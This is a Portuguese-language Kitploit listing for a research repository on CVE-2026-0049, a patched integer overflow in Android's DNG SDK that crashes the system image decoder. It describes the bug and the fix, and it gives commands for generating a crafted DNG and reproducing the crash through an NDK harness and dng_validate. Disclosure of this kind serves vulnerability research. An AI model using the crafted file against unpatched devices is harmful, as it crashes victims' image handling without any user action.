Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0049 — PoC e análise de um DoS zero-click no DNG SDK do Android, com amostras de DNG elaboradas, um harness de crash para NDK e reprodução do overflow da MapTable via UBSan/IntSan. | Kitploit
Ferramentas/GitHubGitHub/r3n3r0/cve-2026-0049
Segurança AndroidGeração de PayloadsAnálise de VulnerabilidadesExploraçãoAnálise de BináriosPapers e PesquisaAprendizado e Educação
GitHubr3n3r0/cve-2026-0049

CVE-2026-0049

PoC e análise de um DoS zero-click no DNG SDK do Android, com amostras de DNG elaboradas, um harness de crash para NDK e reprodução do overflow da MapTable via UBSan/IntSan.

Ver Repositório
há 13 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0049 — DoS zero-click em DNG no Android (add-overflow em MapTable do dng_sdk)

Material completo de pesquisa e PoC. Análise narrativa: 🇮🇹 BLOG.md · 🇬🇧 BLOG.en.md.

  • Bug: overflow de inteiros sem sinal em fAreaSpec.Plane() + fAreaSpec.Planes() em dng_opcode_MapTable::ProcessArea (dng_sdk/source/dng_misc_opcodes.cpp:388).
  • Impacto: DoS zero-click. O IntSan com que o Android compila libdng_sdk.so transforma o overflow em abort() → SIGABRT no processo que decodifica o DNG.
  • Não é RCE (bound duplo no loop → sem OOB). Veja §12 do BLOG.md.
  • Severidade: o Google (boletim) declara Critical; NVD/CISA Medium (CVSS 6.2) — duas taxonomias diferentes sobre o mesmo CVE (§13).
  • Correção: Android Security Bulletin de Abril de 2026 (patch 2026-04-01, A-456471290). Duas correções: correção aritmética no dng_sdk (+ reescrito como -) + allowlist MIME em LocalImageResolver.java que rejeita DNGs (§14).

O artigo detalha também: o caminho completo de geração do PoC (§6), por que foi usado um harness NDK (§7), a diferença entre as flags UBSan/IntSan -fsanitize=undefined vs =integer, recover/no-recover/trap, full vs minimal runtime (§10), e IntSan vs SafeInt vs MTE (§11).

Estrutura

root@kitploit:~
CVE-2026-0049/
├── BLOG.md                       artigo completo — italiano (17 seções)
├── BLOG.en.md                    full article — English (17 sections)
├── poc/
│   ├── inject_opcode.py          [PRINCIPAL] injeta OpcodeList2/MapTable em um DNG válido
│   ├── gen_base_dng.py           gera o DNG Bayer válido de base (requer pidng)
│   ├── make_dng.py               gerador stand-alone (DNG mínimo + opcode)
│   └── make_poc_dng.py           primeiro gerador from-scratch (LinearRaw mínimo)
├── harness/
│   ├── decode_poc.c              harness NDK AImageDecoder (crash on-device)
│   └── dng_xmp_stub.cpp          stub XMP para compilar dng_validate no PC
├── samples/
│   ├── valid_poc.dng             PoC funcional (faz o decoder do sistema crashar)
│   ├── base_benign.dng           controle benigno (decodifica sem crash)
│   └── poc_minimal.dng           variante mínima from-scratch
└── evidence/
    ├── crash_backtrace.txt       tombstone real do Pixel 9
    └── device_analysis.md        análise binária do libdng_sdk.so + IntSan/SafeInt/MTE

Reprodução rápida

A) DNG malicioso

root@kitploit:~
pip install pidng
python3 poc/gen_base_dng.py base                     # -> base.dng (Bayer válido)
python3 poc/inject_opcode.py base.dng valid_poc.dng poc
# ou use diretamente samples/valid_poc.dng

Detalhe crítico: a AreaSpec deve ser não vazia (0,0,H,W); com área vazia a dng_sdk do Android faz curto-circuito e a decodificação retorna erro sem crash (veja §6.6 do BLOG.md). Por que é necessário um DNG totalmente válido e não um mínimo: o SkRawCodec (decoder do sistema) é mais rigoroso que o Glide/Photos e rejeita DNGs sem metadados de cor completos (§2, §6.1).

B) Crash on-device (harness NDK)

root@kitploit:~
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang \
    -O0 -o decode_poc harness/decode_poc.c -ljnigraphics
adb push decode_poc valid_poc.dng /data/local/tmp/     # NB: /data/local/tmp, NÃO /sdcard (FUSE)
adb shell /data/local/tmp/decode_poc /data/local/tmp/valid_poc.dng
# -> Abort message: 'ubsan: add-overflow' ; SIGABRT em dng_opcode_MapTable::ProcessArea

C) Reprodução no PC (sem telefone) com dng_validate + UBSan

Compile os fontes do dng_sdk aplicando -fsanitize=integer -fno-sanitize-recover apenas a dng_misc_opcodes.cpp (use harness/dng_xmp_stub.cpp para linkar sem o XMP SDK). Depois:

root@kitploit:~
./dng_validate samples/valid_poc.dng
# dng_misc_opcodes.cpp:388:32: runtime error: unsigned integer overflow: 4294967040 + 512

Apenas para pesquisa/didática. Testado exclusivamente em hardware próprio.

Baixar ferramenta